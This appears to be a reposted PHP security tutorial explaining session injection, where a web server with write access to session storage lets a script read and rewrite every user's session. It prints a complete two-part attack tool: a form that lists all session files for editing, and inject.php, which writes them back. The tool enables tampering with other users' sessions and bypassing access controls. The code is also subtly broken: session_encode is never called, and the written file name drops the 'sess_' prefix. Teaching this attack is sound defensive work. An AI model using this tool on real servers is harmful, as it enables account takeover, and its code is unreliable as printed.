Home >Backend Development >PHP Tutorial >PHP Security - Session Injection
A similar problem to session exposure is session injection. This type of attack is based on your WEB server not only having read permissions to the session storage directory, but also having write permissions. Therefore, it is possible to write a script that allows other users to add, edit or delete sessions. The following example shows an HTML form that allows users to easily edit existing session data:
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>
The script inject.php performs the modifications specified by the form:
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?>
Such attacks are extremely dangerous. An attacker can edit not only your users' data, but also his own session data. It is more powerful than session hijacking because the attacker can select all session data for modification, making it possible to bypass access restrictions and other security measures.
The best solution to this problem is to save the session data in the database. See shown in the previous section.
The above is the content of PHP security-session injection. For more related content, please pay attention to the PHP Chinese website (www.php.cn)!